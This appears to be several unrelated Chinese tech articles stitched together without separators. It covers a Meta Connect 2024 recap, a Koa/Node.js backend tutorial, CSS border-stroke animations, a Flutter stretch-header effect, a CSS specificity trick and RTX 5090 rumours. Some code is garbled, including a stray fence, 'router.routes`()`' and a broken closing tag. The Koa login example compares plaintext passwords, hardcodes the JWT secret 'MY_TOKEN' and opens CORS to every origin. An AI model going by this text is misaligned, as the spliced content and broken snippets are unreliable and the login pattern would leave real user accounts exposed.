传统的 AR 眼镜，是用语音控制和手眼跟踪来导航用户界面。

但 Meta 认为，我们还需要一种更谨慎、私密的全新方式，跟 AR 眼镜进行交流。

这就是全新上线的肌电图腕带和眼球注视功能。

腕带会检测你的神经运动信号，这样你就可以用手势进行点击。

只需看着目标，就可以进行选定。

总之，Orion 的输入和交互系统，将语音、眼镜注视、手部追踪和 EMG 腕带无缝结合，让我们可以更轻松、更快、更舒适地操作。

AR 眼镜能否成为主流？Meta 表示，只要解决了这两个问题，就能实现。

第一，能否实现根本性的技术突破，比如将大显示屏融入一副普通眼镜中？

第二，什么用例是你只能在 AR 眼镜上操作，不能在其他设备上完成的？

而 Orion 原型，就是 Meta 对这两个问题的回答。这个原型是对未来的一瞥，现实已触手可及。

虽然作为消费产品，它的价格仍然昂贵得吓人，但毫无疑问，它可能是未来最先进的消费电子产品，是自智能手机以来最有影响力的新设备。

在下一波以人为本的计算浪潮中，借助 Orion，Meta 又迈出了重要一步。

视频详情

与此同时，戴上头显办公，也是一个不错的选择。

Meta 将微软办公软件集成到应用之中，画布延展，多人协作，打工人都不曾想到，未来办公这么美好。

很快，Quest 头显也将轻松连接到 Windows 11 个人电脑上，通过键盘直接配对。

电脑屏不够用，也不用外接显示屏了，一个 Quest 头显就能实现。

Meta 称，我们正在建设的：不是下一个游戏平台，而是下一个计算平台。

在这个平台中，你可以看电影、听音乐、做电子表格、与朋友一起玩游戏，闲逛，甚至聊天。

因此，计算平台系统 Horizon OS，便是开启这一幕最理想的界面。

会上，Meta 还公布了基于 Horizon OS 平台上工具更新。

主要有扩展混合显示功能的套件，比如音频到表情、声线追踪（ART）、微手势、直通摄像头访问 API 等。

如下，是通过微手势触发移动的示例。

另外，在虚拟化身上更新，Meta 计划让照片在虚拟空间动起来。

这就非常类似，苹果 Vision Pro 中的「空间视频」。

这里，Meta 将其称之为 Hypersscape，可以将你带入照片中的虚拟世界，就像是在一个平行时空中的自己。

这背后就利用高斯渲染技术，通过云渲染和流媒体方式，让其在 Quest 3 头显中活灵活现。

小扎在主旨演讲中，展示了纽约 Daniel Arsham 的艺术家工作室。

通过手机扫描房间，并在 Horizon 中便可轻松将物理世界，带到数字世界中。

根据官方定价，配备 128GB 入门级 Quest3S，仅需 299.99 美元。256GB 存储空间，售价 399.99 美元。

想要直通顶级体验，那就得配上 512 GB Quest 3。

新增记忆能力，Ray-Ban 眼镜再升级

另一边，首发自研 AR 眼镜之外，Meta 还为 Ray-Ban 眼镜更新了一些新功能。

几个月前，集成 Meta AI 助手眼镜，大秀了一场。

这次，Meta 称不用说「嘿，Meta」，直接用唤醒词即可开启对话，让人与设备之间交谈更丝滑。

比如，当你拿起面前这件衣服，盯着它并表示，「帮我记住这件夹克，这样我就可以向 Nas 展示」。

同时，Ray-Ban 眼镜新增了记忆功能。

假设当你打飞的到了某个地方时，不必绞尽脑汁记住自己在哪里，眼镜就可以为你代劳了。

而且，更贴心的是，你可以用自己声音设置一个提醒——安全着陆时，三个小时内给妈妈发短信。

眼睛看哪，Ray-Ban 便会指向哪。

比如，看着传单上的电话号码、或者二维码，眼镜可以根据你所看内容，采取行动。

另外，眼镜的视频输入正添加 Meta AI 助手支持，方便获得实时的帮助。

当你去另一座城市，遇到新的地标，或者想要了解下一步旅行计划，直接可以与 Meta AI 实时交流。

大会上，Meta 还预告了下一个新功能——实时翻译。

当你与西班牙语、法语、意大利语的人交谈时，可以通过眼镜的开耳扬声器，直接听到的是「英语」的版本。

小扎现场和同事演示了，西班牙语和英语如何无缝交流精彩一幕。

这简直就是异域旅行者们的福音，完全无障碍畅玩全世界。

总结一波：Quest 3S 头显、雷朋智能眼镜、全息 AR 眼镜、Llama 3.2 大模型…… 这届 Meta Connect 2024 大会，小扎赢麻了。‍

参考资料：

x.com/boztank/sta…

about.fb.com/news/2024/0…

http://www.meta.com/blog/quest/…

背景与思考

前端在很多后端开发人员中，总是觉得没啥技术含量。尤其是在老java眼中，深深感觉存在严重的鄙视链。然后就是自己的职业规划，也不想一直做前端敲代码。毕竟自己的付出不少，也想收获属于自己的成就感。然后自己的横向发展就成了必然。

后端技术首推Node

Node框架推荐Koa

学习推荐

我当初学习也是想看了一下官网，发现确实如介绍般的简单，但是对于入门者来说，有点简单的过分了。在此推荐阮一峰老师的网络日志（不是打广告，确实是我当初前端起步阶段的老师之一，受益匪浅）。

主要代码解析

项目结构

app.js源码

const Koa = require('koa');

const Router = require('koa-router');



// 跨域模块

var cors = require('koa2-cors');

//文件模块

const fs = require('fs');



const { historyApiFallback } = require('koa2-connect-history-api-fallback');

//静态文件加载

const serve = require('koa-static');

//路径管理

const path = require('path');



//koa-body对文件上传进行配置

const koaBody = require('koa-body')



//实例化koa

const app = new Koa();



app.use(historyApiFallback());



app.use(cors());

const router = new Router();

const bodyParser = require('koa-bodyparser');

const controller = require('./controller');

app.use(async (ctx, next) => {

  ctx.set("Access-Control-Allow-Origin", "*")

  await next()

})

app.use(bodyParser());

// 处理跨域



app.use(controller());



app.use(koaBody({

	multipart:true,

	formidable:{

		maxFileSize:50000*1024*1024, //设置上传文件大小最大限制，默认为2m，2000*1024*1024

		keepExtensions: true // 保留文件拓展名

	}

}))





// 1.主页静态网页 把静态页统一放到public中管理

const main = serve(path.join(__dirname) + '/build');



//配置路由

app.use(router.routes()).use(router.allowedMethods());



const port = 5000;

app.use(main)



app.listen(port, () => {

	console.log(`server started on ${port}`)

});

依赖包讲解

const Koa = require('koa');

这是引入koa框架，这是重中之重，只有引入了才能够在项目中使用。在项目中会通过new来实例化，比如代码中的const app = new Koa();。然后再定义一个监听的端口，app.listen()方法来进行监听。

const fs = require('fs');

这是koa自带的文件模块，如果你想对系统文件进行读取，修改。或者文件上传保存，都离不开整个fs模块，fs.readFile和fs.readFileSync。

const koaBody = require('koa-body')

Koa-body是基于Koa的中间件模型构建的，主要用于文件上传，以及在中间件中对请求体的解析。对请求体的解析中，我们主要使用koa-bodyparser，它可以将http请求中的数据，解析成我们需要的JavaScript对象。

const Router = require('koa-router');

```门口

Router模块就是路由，此路由和前端路由有差异，此路由可以理解为前端理解的api接口，只是叫法不一样而已。



```js

const { historyApiFallback } = require('koa2-connect-history-api-fallback');

koa2-connect-history-api-fallback是一个专门为 Koa2 框架设计的中间件，它的主要目的是在SPA应用中处理URL重定向，尤其是在用户直接输入或者通过后退按钮访问非根URL时。 这个中间件会将所有未匹配到特定路由的请求转发到默认HTML文件（通常是 index.html），确保SPA可以正常启动并处理路由。还记得当初自己终于完成了一整套的项目线上部署，可把自己开心坏了，但是同事在一次用着发现，刷新页面时，页面直接变成了404，你说吓不吓人。盘查一下发现自己在vue前端中的路由为何在后端中变成了一个get请求。

controller.js源码

const fs = require('fs')



// add url-route in /controllers:



function addMapping (router, mapping) {

  for (var url in mapping) {

    if (url.startsWith('GET ')) {

      var path = url.substring(4)

      router.get(path, mapping[url])

      // console.log(`register URL mapping: GET ${path}`);

    } else if (url.startsWith('POST ')) {

      var path = url.substring(5)

      router.post(path, mapping[url])

      // console.log(`register URL mapping: POST ${path}`);

    } else if (url.startsWith('PUT ')) {

      var path = url.substring(4)

      router.put(path, mapping[url])

      // console.log(`register URL mapping: PUT ${path}`);

    } else if (url.startsWith('DELETE ')) {

      var path = url.substring(7)

      router.del(path, mapping[url])

      // console.log(`register URL mapping: DELETE ${path}`);

    } else {

      // console.log(`invalid URL: ${url}`);

    }

  }

}



function addControllers (router, dir) {

  fs.readdirSync(__dirname + '/' + dir)

    .filter(f => {

      return f.endsWith('.js')

    })

    .forEach(f => {

      // console.log(`process controller: ${f}...`);

      let mapping = require(__dirname + '/' + dir + '/' + f)

      addMapping(router, mapping)

    })

}



module.exports = function (dir) {

  let controllers_dir = dir || 'controllers',

    router = require('koa-router')()

  addControllers(router, controllers_dir)

  return router.routes`()`

}

controller讲解

在这个controller中，我们主要做了一件事，那就是路由映射逻辑处理。

function addControllers()

这个方法用于自动加载指定目录下的js文件，它使用fs.readdirSync读取目录，然后通过filter和forEach方法来处理每个文件名，只选择以.js结尾的文件，并将这些文件的路由映射添加到router上

function addMapping()

这个函数用于将HTTP方法（如GET、POST、PUT、DELETE）和对应的URL路径映射到处理函数上。它遍历传入的mapping对象，根据URL的前缀（如GET 、POST 等）来确定使用哪个HTTP方法，并将路径和处理函数注册到router上。

controllers下路由POST方法

const jwt = require('jsonwebtoken')

module.exports = {

  'POST /login': async (ctx, next) => {

    var key = ctx.request.body

    if (key.username && key.password) {

      return new Promise(function (resolve, reject) {

        var MongoClient = require('mongodb').MongoClient

        var MG_URL = 'mongodb://***********/'

        MongoClient.connect(

          MG_URL,

          { useUnifiedTopology: true },

          function (err, db) {

            if (err) throw err

            var dbo = db.db('website')

            dbo

              .collection('user')

              .find({ username: key.username, password: key.password })

              .toArray(function (err, result) {

                if (result.length) {

                  const TOKEN = jwt.sign(

                    {

                      name: result[0].username

                    },

                    'MY_TOKEN',

                    { expiresIn: '24h' }

                  )

                  let data = {

                    username: result[0].username,

                    token: TOKEN

                  }

                  ctx.response.body = {

                    result: 1,

                    status: 200,

                    code: 200,

                    data: data

                  }

                } else {

                  ctx.response.body = {

                    result: 0,

                    status: 200,

                    code: 0,

                    msg: '该用户不存在'

                  }

                }



                if (err) throw err

                resolve(result)

                db.close()

              })

          }

        )

      })

    } else {

      ctx.response.body = {

        result: 0,

        status: 200,

        code: 0,

        msg: 'error'

      }

    }

  }

}

这是一个登录的login方法，用POST进行请求。在这个地方用了一下mongodb数据库存储。在api接口请求login方法时，获取请求中所携带的参数进行解析，并判断此用户以及密码是否在我们的数据库中，如果存在返回成功的提示以及相关数据，如果错误，则提示错误。当然如果还不会数据库的使用，可以去除数据库相关部分，直接用本地json数据，这个比较简单，就是fs读取本地json文件，然后返回给api接口。不在此做详细说明。

controllers下路由GET方法

module.exports = {

  'GET /getNews': async (ctx, next) => {

    return new Promise(function (resolve, reject) {

      var MongoClient = require('mongodb').MongoClient

      var MG_URL = 'mongodb://********'

      MongoClient.connect(

        MG_URL,

        { useUnifiedTopology: true },

        function (err, db) {

          if (err) throw err

          var dbo = db.db('website')

          dbo

            .collection('news')

            .find({})

            .toArray(function (err, result) {

              if (result.length) {

                ctx.response.body = {

                  result: 1,

                  status: 200,

                  code: 1,

                  data: result

                }

              } else {

                ctx.response.body = {

                  result: 0,

                  status: 200,

                  code: 0,

                  msg: '暂无数据'

                }

              }

              if (err) throw err

              resolve(result)

              db.close()

            })

        }

      )

    })

  }

}

这是一个获取新闻的getNews方法，用GET请求。主要用来查询数据库中的list的信息。DELETE，PUT等方法不在此处贴出更多源码。

数据库首推mondodb

学习推荐

为啥选择MongoDB数据库，相对来说操作还是比较简单，而且存储的数据类型都是对象的形式，前端可以轻松拿捏。在这里直接推荐菜鸟的mongodb教程，看名字就知道，这是一个适合菜鸟初步学习的地方。讲解也比较详细，学完上面的内容，用mongodb数据库进行基本的数据存储和操作已经没有问题了。

总结

通过以上的分享，其实对大多数前端来说，开启一个简单的后端服务和接口请求，已经可以开箱即用了。想要完整的学习代码，也可以私信我。虽然不是很完善，但麻雀虽小五脏俱全。

思考

在前端行业已经接7载。曾经害怕java的恐惧而转入前端行业，所有受到鄙视也是有一部分原因吧，毕竟自己曾经年少无知，害怕吃苦选择了一个稍微简单的前端就稀里糊涂的就业了，保命要紧。但是在后来又想改变这个鄙视链，自己就开始了nodejs的学习，python的学习，数据库MongoDB，MySQL，PostgreSQL。学不完，压根学不完。
后面再无尽的内卷中，有的做开发不是自己的路，也想做做管理，毕竟前端做到前端组长就已经是极限了，在公司以java为尊的环境下，想做更高的级别几乎不可能。毕竟自己算是耿直死宅，不善交际，讨不到大领导的喜爱。然后又开始了原型的学习，PMP项目管理证书的考取（进行中），也曾有单独出去做产品的想法，面试过一个，但是与自己的预期薪资相差太大，没去。

在刷抖音的时候，发现有一个直播的专属导航页签，切换到这个页签之后，刷出来的内容全都是直播，不过都是在“门外”观看，没有进入直播间；

短暂的停留之后，会出现一个自动进入直播间的提示，并且有一个描边动画，动画结束之后，就会进入直播间，今天我就尝试通过多种方式来实现这个动画效果。

1. 渐变实现

效果如上图所示，渐变需要使用到的是conic-gradient锥形渐变，文档地址：conic-gradient

代码如下：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Title</title>

    <style>

        html,

        body {

            height: 100%;

            margin: 0;

        }



        body {

            display: flex;

            justify-content: center;

            align-items: center;

            background: linear-gradient(90deg, #1F1C2C 0%, #928DAB 100%);

            color: #fff;

        }



        .wrap {

            position: relative;

            background-color: rgba(255, 255, 255, 0.2);

            width: fit-content;

            padding: 10px 20px;

            border-radius: calc(1em + 10px);

        }



        /*使用自定义属性来控制进度*/

        @property --offset {

            syntax: "<length-percentage>";

            inherits: false;

            initial-value: 0;

        }



        .wrap.gradient-animation {

            overflow: hidden;

            /*和普通 css 变量一样使用即可*/

            background-image:

                    conic-gradient(

                    #fff 0%,

                    #fff var(--offset),

                    transparent var(--offset) 100%

            );

        }



        /*需要使用一个遮挡来挡住多余的部分，只保留描边部分*/

        .wrap.gradient-animation::before {

            content: ' ';

            position: absolute;

            top: 2px;

            left: 2px;

            right: 2px;

            bottom: 2px;

            background: #1F1C2C;

            border-radius: inherit;

            z-index: 0;

        }



        .wrap.gradient-animation:hover {

            animation: gradient 5s linear 1 forwards;

        }

        

        @keyframes gradient {

            0% {

                --offset: 0;

            }

            100% {

                --offset: 100%;

            }

        }



    </style>

</head>

<body>

<div class="wrap gradient-animation">

    <!--  需要控制层级显示  -->

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

</body>

</html>

conic-gradient的技术细节就不展开了，感兴趣的可以自行查阅文档，这里主要的技术点在于--offset这个自定义属性，因为渐变本身是不支持动画的，所以需要借助这个自定义属性来实现动画效果，文档地址：@property

这里的效果其并不是很理想，因为conic-gradient的渐变是一个圆形的渐变，而实际效果是边框的一个描边，所以需要使用一个遮罩来挡住多余的部分，只保留描边部分。

由于使用了伪元素来实现遮罩，所以还需要控制层级显示，避免遮罩挡住了文字，并且原效果是透明的背景，这里使用遮罩层之后背景就不能是透明的了，而且动画在每一个部分执行的时间都不连贯。

可以说这种方式有很多的局限性，所以我们来看看下一种方式。

2. 渐变加 mask 实现

渐变加mask的实现思路和上面的类似，主要是解决了上面的背景半透明的问题，文档地址：mask

代码如下：

<div class="wrap gradient-mask">

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

.wrap.gradient-mask::before {

    content: ' ';

    position: absolute;

    inset: 0;

    background-color: rgba(255, 255, 255, 0.1);

    background-image: conic-gradient(

            #fff 0%,

            #fff var(--offset),

            transparent var(--offset) 100%

    );

    border-radius: inherit;



    mask-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'><rect width='150' x='1' y='1' height='40' rx='20' fill='transparent' stroke='red' stroke-width='2' stroke-alignment='outside'/></svg>");

    mask-size: 100% 100%;

    mask-repeat: no-repeat;

}



.wrap.gradient-mask:hover::before {

    animation: gradient 5s linear 1 forwards;

}

这里把效果整体迁移到了::before伪元素上，使用mask-image里面加了一个svg来处理描边的问题，这样就不需要使用遮罩来挡住多余的部分，只保留描边部分。

但是这里的问题也很明显，那就是svg并不能很好的响应式，而且因为svg的其他原因，导致描边的边宽有点被裁剪，这里也只是提供一个思路，并不是最佳实践。

3. 使用 svg 实现

上面都已经使用到了svg作为遮罩，那么直接使用svg更简单直接，这种情况个人也比较推荐，代码如下：

<div class="wrap svg">

    <svg xmlns="http://www.w3.org/2000/svg">

        <rect width="150" x="1" y="1" height="40" rx="20" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />

        <rect width="150" x="1" y="1" height="40" rx="20" class="rect" />

    </svg>

    <span style="position: relative; z-index: 1;">自动进入直播间</span>

</div>

.wrap.svg svg {

    position: absolute;

    inset: 0;

    width: 100%;

    height: 100%;

}



.wrap.svg svg > rect {

    width: calc(100% - 2px);

    height: calc(100% - 2px);

    fill: transparent;

    stroke-width: 2;

}



.wrap.svg svg > .rect {

    stroke-dasharray: 350;

    stroke-dashoffset: 350;

    stroke: white;

    stroke-width: 2;

}



.wrap.svg:hover svg > .rect {

    transition: stroke-dashoffset 5s linear;

    stroke-dashoffset: 0;

}

svg的描边效果主要是通过stroke-dasharray和stroke-dashoffset来实现的，svg描边效果也是一个非常有趣的实现。

stroke-dasharray是用来控制虚线的，这个值越大，虚线之间的间隔也越大，大到一定程度这个虚线就正好将整个形状包裹住。

stroke-dashoffset是用来控制虚线的偏移量，当这个值等于stroke-dasharray的时候，虚线就会完全消失，等于0的时候，虚线就会完全显示。

根据svg的特性，描边是在形状的外部，所以最外层有一个半透明的边框路径显示的并不完全，需要通过一些技巧来处理。

所以上面的代码会有两个rect，一个是用来描边的，一个是用来做半透明的边框的，这样就可以实现一个比较完美的描边动画效果。

但是上面的描边起点和终点都是在左上角，如果需要在中间的话，可以通过path来实现，感兴趣的可以自行尝试，这里提供path的代码：

<svg viewBox="0 0 600 150" xmlns="http://www.w3.org/2000/svg">

    <path d="M 100 0 L 500 0 A 50 50 0 1 1 500 150 L 100 150 A 50 50 0 1 1 100 0 Z" fill="transparent" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />

</svg>

path需要微调，因为没有贴边，可以使用一些在线网站来进行调整，比如：svg-path-editor，可自行探索。

总结

这一篇文章通过多种方式来实现一个描边动画效果，主要技术有：

当然肯定还有其他的方式来实现这个效果，这里只是提供了一些思路，希望对大家有所帮助。

引言

最近产品经理看到抖音的个人主页下拉效果很不错，让我也实现一个，如果是native还好办，开源成熟的库一大堆，可我是Flutter呐🤣，业内成熟可用的库非常有限，最终跟产品经理batte失败后，没办法只能参考native代码硬肝出来。

效果图

整体构思

实现拖拽滑动功能，关键在于对手势事件的识别。在 Flutter 中，可使用Listener来监听触摸事件，如下所示：

Listener(

  onPointerDown: (result) {

   

  },

  onPointerMove: (result) {

   

  },

  onPointerUp: (_) {

  

  }

在手指滑动的过程中不断的刷新背景图高度是不是就可以实现图片的拉伸效果呢？我们这里图片加载库使用CachedNetworkImage，高度在156的基础上动态识别手指的滑动距离extraPicHeight

CachedNetworkImage(

  width: double.infinity,

  height: 156 + extraPicHeight,

  imageUrl: backgroundUrl,

  fit: fitType,

)

识别到手指滑动就不断的刷新拉伸高度extraPicHeight，flutter setState 内部已经做了优化，不用担心性能问题，实际效果体验很不错。

setState(() {

 extraPicHeight；

});

经过实验思路是没有问题，那么监听哪些事件，extraPicHeight到底怎么计算，有什么边界值还考虑到呢？我们从手势的顺序开始梳理一下。

首先按压屏幕会识别到触碰屏幕起点，也就是initialDx initialDy，对于下拉拖拽我们关心更多的是纵向坐标result.position.dy

onPointerDown: (result) {

  initialDy = result.position.dy;

  initialDx = result.position.dx;

},

当手指在屏幕滑动会触发onPointerMovew,result.position.dy代表的就是手势滑动的位置

onPointerMove: (result) {

  //手指的移动时

  // updatePicHeight(result.position.dy); //自定义方法，图片的放大由它完成。

},

这边处理逻辑比较复杂，我们先抽成函数updatePicHeight

updatePicHeight(changed) {

  //。。。已省略不重要细节代码

  extraPicHeight += changed - prev_dy; //新的一个y值减去前一次的y值然后累加，作为加载到图片上的高度。

  debugPrint('extraPicHeight updatePicHeight : $extraPicHeight');

  //这里是为了限制我们的最大拉伸效果

  if (extraPicHeight > 300) {

    extraPicHeight = 300;

  }

  if (extraPicHeight > 0) {

    setState(() {

      prev_dy = changed;

    });

  }

}

这里简化了很多细节逻辑，核心目的就是要不断的累加我们的拖动距离来计算extraPicHeight高度，这里的changed是我们手指的y坐标，滑动的距离需要减去上次滑动的回调y,所以我们必须声明一个过去y坐标的变量也就是prev_dy，通过通过 changed - prev_dy就可以得出真正滑动的距离，然后我们不断累加 extraPicHeight += changed - prev_dy就是图片的拉伸距离。

手指下拉以后图片确实拉伸了，但是松开手后发现回不去了🤣因为我们还需要处理图回去的问题，既然可以通过setState把图片高度拉高，我们也可以通过setState把图片高度刷回去，核心要思考的是如何平滑的让图片自己缩回去呢？有经验的你一定想到动画了。

flutter这里的动画库是Tween，Tween可以通过addListener监听距离的回调，当距离变化不断刷新图片高度

anim = Tween(begin: extraPicHeight, end: 0.0).animate(animationController)

  ..addListener(() {

    setState(() {

      extraPicHeight = anim.value;

      fitType = BoxFit.cover;

    });

  });

prev_dy = 0; //同样归零

动画的效果最终由控制器animationController来决定，这里给了一个300ms的时间还不错，可以根据自己业务扩展

animationController = AnimationController(

    vsync: this, duration: const Duration(milliseconds: 300));

所有在手抬起的时候执行我们的动画runAnimate函数即可

onPointerUp: (_) {

  //当手指抬起离开屏幕时

  if (isVerticalMove) {

    if (extraPicHeight < 0) {

      extraPicHeight = 0;

      prev_dy = 0;

      return;

    }

    debugPrint('extraPicHeight onPointerUp : $extraPicHeight');

    runAnimate(); //动画执行

    animationController.forward(from: 0); //重置动画

  }

},

整体的技术方案履完了，之后就是细节问题了

问题1:横行稍微有倾角的滑动也会导致页面拖拽，比如侧滑返回上一页面

这是由于手指滑动的角度没有限制， 这里我们计算一下滑动倾角，超过45度无效，角度计算通过x,y坐标计算tan函数即可

onPointerMove: (result) {

  double deltaY = result.position.dy - initialDy;

  double deltaX = result.position.dx - initialDx;

  double angle =

      (deltaY == 0) ? 90 : atan(deltaX.abs() / deltaY.abs()) * 180 / pi;

  debugPrint('onPointerMove angle : $angle');

  if (angle < 45) {

    isVerticalMove = true; // It's a valid vertical movement

    updatePicHeight(result

        .position.dy); // Custom method to handle vertical movement

  } else {

    isVerticalMove =

        false; // It's not a valid vertical movement, ignore it

  }

}

问题2:图片高度变了，为啥没有拉伸啊！

图片拉伸取决于你图片库的加载配置，以flutter举例，我们的图片库是CachedNetworkImage

 CachedNetworkImage(

  width: double.infinity,

  height: 156 + extraPicHeight,

  imageUrl: backgroundUrl,

  fit: fitType,

)

加载效果取决于fit，默认不变形我们使用cover，拉伸时使用fitHeight或者fill

updatePicHeight(changed) {

  if (prev_dy == 0) {

    //如果是手指第一次点下时，我们不希望图片大小就直接发生变化，所以进行一个判定。

    prev_dy = changed;

  }

  if (extraPicHeight > 0) {

    //当我们加载到图片上的高度大于某个值的时候，改变图片的填充方式，让它由以宽度填充变为以高度填充，从而实现了图片视角上的放大。

    fitType = BoxFit.fitHeight;

  } else {

    fitType = BoxFit.cover;

  }

  extraPicHeight += changed - prev_dy; //新的一个y值减去前一次的y值然后累加，作为加载到图片上的高度。

  debugPrint('extraPicHeight updatePicHeight : $extraPicHeight');

  if (extraPicHeight > 300) {

    extraPicHeight = 300;

  }

  if (extraPicHeight > 0) {

    setState(() {

      prev_dy = changed;

      fitType = fitType;

    });

  }

}

最后看下组件如何布局

 CustomScrollView(

      physics: const NeverScrollableScrollPhysics(),

      slivers: <Widget>[

        SliverToBoxAdapter(

          child: buildTopWidget(),

        ),

        SliverToBoxAdapter(

          child: Column(

            children: contents,

          ),

        )

      ]

      ),

)

整个列表使用CustomScrollView，因为在flutter上用他才能实现这种变化效果，未来还可以扩展顶部导航栏的变化需求。buildTopWidget就是我们头部组件，包括内部的背景图，但是整个组件和背景图的高度都是依赖extraPicHeight变化的，contents是我们的内容，当头部组件挤压，会正常跟随滑动到底部。

全局变量依赖以下参数就够了，核心要注意的就是边界值问题，什么时候把状态值重置问题。

//初始坐标

double initialDy = 0;

double initialDx = 0;

double extraPicHeight = 0; //初始化要加载到图片上的高度

late double prev_dy; //前一次滑动y

//是否是垂直滑动

bool isVerticalMove = false;

//动画器

late AnimationController animationController;

late Animation<double> anim;

技术语言不是我分享的核心，解决这个需求的技术思维路线是我们大家可以借鉴学习的。

如果你有任何疑问可以通过掘金联系我，如果文章对你有所启发，希望能得到你的点赞、关注和收藏，这是我持续写作的最大动力。Thanks~

原文：Double your specificity with this one weird trick

在一个理想的世界里，我们的 CSS 代码组织得井井有条，易于维护。然而，现实往往大相径庭。你的 CSS 代码是完美的，但其他人那些烦人的 CSS 可能会与你的风格冲突，或者应用了你不需要的样式。

此外，你可能也无法修改那些 CSS。也许它来自你正在使用的 UI 库，也许是一些第三方的小组件。

更糟糕的是，HTML 也不受你控制，添加一些额外的 class 或 id 属性来覆盖样式也并不可行。

不知不觉中，你被卷入了一场 CSS 优先级之战。你的选择器需要优先于他们的选择器。开发者很容易被『诱惑 😈』去使用 !important，但你知道这是不好的实践，我们能不能有一种更优雅的方式来实现我们覆盖的诉求？

本文将教给你一个技巧，可以用一种不是很 hacky 的方式应对这些情况 👩‍💻。

示例 🔮

假设你正在开发一个网站，该网站有一个新闻订阅表单。它包含一个复选框，但复选框的位置有点偏。你需要修正这个问题，但注册表单是一个嵌入到页面上的第三方组件，你无法直接修改它的 CSS。

通过浏览器检查复选框，确定只要改变它的 top 位置即可。当前的位置是通过选择器.newsletter .newsletter__checkbox .checkbox__icon 设置的，它的权重为 (0,3,0)。

一开始你可能会使用相同的选择器来修改 top 值：

/* 覆盖新闻通讯复选框的顶部位置 */

.newsletter .newsletter__checkbox .checkbox__icon {

  top: 5px;

}

当 CSS 的顺序是固定的，并且你可以保证你的 CSS 规则一定在他们的后面的情况下，这足够了。因为『后来居上』：即如果有多个相同的 CSS 选择器选择了同一个DOM元素，那么最后出现的将“获胜”。

然而，大多数时候你无法保证代码顺序。此时你需要增加选择器的优先级。你可以在 DOM 中寻找一些额外的类名，一般从父元素中添加：

/* 更多的类名！权重现在是(0,4,0) */

.parent-thing .newsletter .newsletter__checkbox .checkbox__icon {

  top: 5px;

}

或者你发现这个元素恰好是一个 ，可以将其加入选择器提高优先级：

/* 权重现在是 (0,3,1) */

.newsletter .newsletter__checkbox span.checkbox__icon {

  top: 5px;

}

但所有这些方法都有副作用，都会使你的代码变得脆弱。如果 .parent-thing 突然不见了呢，比如你升级了某个外部依赖（比如 antd 😅）？或者如果 .checkbox__icon 从 span 改成了不同的元素怎么办？突然间，你的高优先级选择器什么也选不到了！

当浏览器计算 CSS 选择器优先级时，它们本质上是在计算你组合了多少 ID、类、元素或等效选择器。实际上可以多次重复同一个选择器，每次重复都会增加权重。CSS 选择器 Level 4 规范 写到：

CSS 选择器允许多次出现相同的简单选择器，而且可以增加权重。

因此，你可以通过重复（三次、四次……）相同的选择器提高权重：

/* 双重 .checkbox__icon！权重现在是 (0,4,0) */

.newsletter .newsletter__checkbox .checkbox__icon.checkbox__icon {

  top: 5px;

}

注意 .checkbox__icon.checkbox__icon 中没有空格！它是一个选择器，因为你针对的是具有那个类的单个元素

现在你可以简单地重复几次选择器来提升优先级！

译者注：该技巧其实在 MDN !important 章节 有示例（以下示例重复了3次#myElement）：

#myElement#myElement#myElement .myClass.myClass p:hover {

 color: blue;

}



p {

 color: red !important;

}

在 HTML 中重复 🚫

注意，这个技巧只在 CSS 中有效！在 HTML 中重复相同的类名对优先级没有任何影响。

<div class="badger badger badger">

  Mushroom!

div>

总结 🎯

CSS 可以多次重复同一个选择器，每次重复都会增加权重 🏋️‍♂️

这种 CSS 技巧是否有点 hack？也许是。然而我认为它让我们：

• 避免诉诸于 !important


• 『就近原则』提高可读性：重复多次的选择器，这样代码的意图对读者来说更清晰


• 这种模式让你很容易在代码中找到其他人的 CSS 覆盖，如果不再需要我们可以放心删除

只要你不过度使用它，我认为这是一个完全合法且 Robust 的技巧至少相比我们之前学会的所有技巧，下次处理棘手的覆盖三方样式情况时可以考虑用一用。

是否还有更好的解决办法？其实有，@layer 是官方推荐的最佳实践但是兼容性不好 Chrome>=99，而且使用场景有限。

32GB GDDR7 内存，CUDA 核心数 21760 个——

关于英伟达下一代旗舰消费级显卡 5090，知名消息人士 kopite7kimi 给出了最新爆料。

同时，5080 被曝内存容量为 16G，是 5090 的一半。

当然 5080 恰好是 5090 一半的还不只是内存，所以有人怀疑 5090 的 GPU 会不会像 B200 等服务器 GPU 一样，是两块芯片拼接出来的产物。

另外按 kopite7kimi 的爆料，5090 的（TGP）功耗将达到 600W，比 450W 的 4090 多出了三分之一。

老牌科技网站 Gizmodo 更是调侃说，5090 一启动，周围街区的灯都会变暗。

虽然功耗问题确实明显，但不妨碍还是有网友预计 5090 会大卖——

一方面，对于游戏玩家，他们虽然不一定需要如此高的性能，但会有强烈的购买欲望；

另一方面，它可以满足 AI/ML 从业者的算力需求，可以用来运行本地模型。

5090 和 5080 配置怎样？

对比着目前英伟达已有型号中最先进的 4090，我们来看下 5090 和 5080 被爆料的配置。

GPU 上，两款显卡都将采用 3nm 制程 Blackwell 架构的 GPU，5090 和 5080 分别将使用 GB202-300 和 GB203-400。

还是据 kopite7mimi 的爆料，GB202 共有 96 个 TPC，支持 512bit GDDR7 显存，GB203 的 TPC 数量则为 42 个，支持的 GDDR7 显存则为 256bit。

kopite7mimi 对网友的回复显示，这两款 GPU 芯片在今年 5 月底时已经流片。

内存方面，两款显卡都将采用最新一代的 GDDR7 内存，2022 年业内就一开始讨论，但最终的 JEDEC 规范发布时间是今年 3 月。

而上一代 GDDR6 的发布时间是 2018 年，4090 中采用的 GDDR6X 为 GDDR6 的升级版，G6X 的发布时间距今也已超过四年。

容量上看，kopite7mimi 的说法是 5090 和 5080 将分别使用 32 和 16GB 内存，也就是说 5080 的内存容量要小于 4090 的 24GB。

但在 chipcell 论坛上，另一名叫做 PolyMorph 的爆料者称，之后 5080 也会推出 24GB 版本。

这一消息还被 Tom’sHardware 引用，然而另一家科技媒体 VideoCardz 将其标记为了 “传闻”。

当然关于英伟达的爆料本就众说纷纭，加上其自身也可能对某些规格做出更改，所以在正式发布之前，消息无法被证实或证伪。

至于发布时间，kopite7mimi 曾表示，CES（2025 年 1 月）之前是没指望了。

另外，50 系显卡的插槽是今年刚出的 PCIe5.0，这意味着，如果手里只有 PCIe 4.0 的话，想体验 50 系显卡就得连主板一同更换。

